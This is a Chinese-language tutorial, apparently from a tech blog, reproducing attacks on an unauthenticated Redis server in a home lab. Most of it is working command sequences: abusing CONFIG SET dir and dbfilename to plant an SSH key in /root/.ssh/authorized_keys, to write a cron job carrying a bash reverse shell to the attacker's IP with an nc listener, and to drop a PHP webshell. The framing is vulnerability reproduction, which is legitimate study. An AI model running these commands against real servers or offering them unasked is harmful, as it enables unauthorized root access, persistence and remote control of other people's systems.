您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關(guān)redis漏洞復(fù)現(xiàn)的示例分析的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集 合)、zset(sorted set --有序集 合)和hash(哈希類型)。這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎(chǔ)上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎(chǔ)上實現(xiàn)了master-slave(主從)同步。redis 是一個高性能的key-value數(shù)據(jù)庫。redis的出現(xiàn),很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關(guān)系數(shù)據(jù)庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,,如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進(jìn)行寫文件操作。
(1)redis綁定在 0.0.0.0:6379,且沒有進(jìn)行添加防火墻規(guī)則避免其他非信任來源 ip 訪問等相關(guān)安全策略,直接暴露在公網(wǎng);(2)沒有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)。
1. Redis以root身份運行,給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器2.將文件寫入周期性計劃任務(wù),然后接受反彈shell3.如果搭建了web服務(wù)器,寫入webshell,控制服務(wù)器(此處因為是自己搭建的測試環(huán)境,只是將文件寫入了/tmp目錄,真實情況需要修改)
攻擊機(jī)(kali):192.168.163.131(需要自己搭建redis-cli,和服務(wù)器端搭建步驟一樣)靶機(jī)(centos):192.168.163.132
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gzcd redis
tar xzf redis-2.8.17.tar.gzcd redis-2.8.17make
cp redis-server /usr/bincp redis-cli /usr/bincp redis.conf /etc/redis.conf
redis-server /etc/redis.conf
(1)未授權(quán)訪問連接(無法連接)
redis-cli -h 192.168.163.132
(2)因為是本地搭建,沒有開啟6379端口對外開放,此處為了方便,直接關(guān)閉服務(wù)器(靶機(jī))的防火墻
/etc/init.d/iptables stop
(3)kali攻擊機(jī)未授權(quán)訪問連接
redis-cli -h 192.168.163.132keys *
(4)在攻擊機(jī)中生成ssh公鑰和私鑰,密碼設(shè)置為空:
ssh-keygen -t rsa
(5)進(jìn)入.ssh目錄,將生成的公鑰保存到1.txt:
cd /root/.ssh(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
(6)將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機(jī),將文件寫入):
cat 1.txt | redis-cli -h 192.168.163.132 -x set crack
(7)并使用 CONFIG GET dir 命令得到redis備份的路徑:
CONFIG GET dir
(8)更改redis備份路徑為ssh公鑰存放目錄(一般默認(rèn)為/root/.ssh),并且修改上傳公鑰文件的名稱為authorized_keys
config set dir /root/.sshCONFIG SET dbfilename authorized_keys
(9)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機(jī):
CONFIG GET dbfilenamesave
(10)查看服務(wù)器端已經(jīng)成功寫入
(11)攻擊機(jī)成功登陸到服務(wù)器
ssh -i id_rsa root@192.168.163.132
在權(quán)限足夠的情況下,利用redis寫入文件到周期性計劃任務(wù)執(zhí)行。(1)在kali攻擊機(jī)里面監(jiān)聽指定端口
nc -lvnp 8888
(2)向服務(wù)器寫入文件
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave
(3)查看服務(wù)器端的寫入情況
(4)Kali攻擊機(jī)已經(jīng)可以連接了(得到了反彈shell)
此處因為是自己搭建的測試環(huán)境,只是將文件寫入了/tmp目錄,真實情況需要修改,將文件寫入web路徑(1)寫入文件到/tmp目錄
config set dir /tmpconfig set dbfilename shell.phpset webshell "<?php phpinfo(); ?>"save
(2)查看服務(wù)器
備注:寫入webshell的時候,可以使用:
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導(dǎo)致無法執(zhí)行。
感謝各位的閱讀!關(guān)于“redis漏洞復(fù)現(xiàn)的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。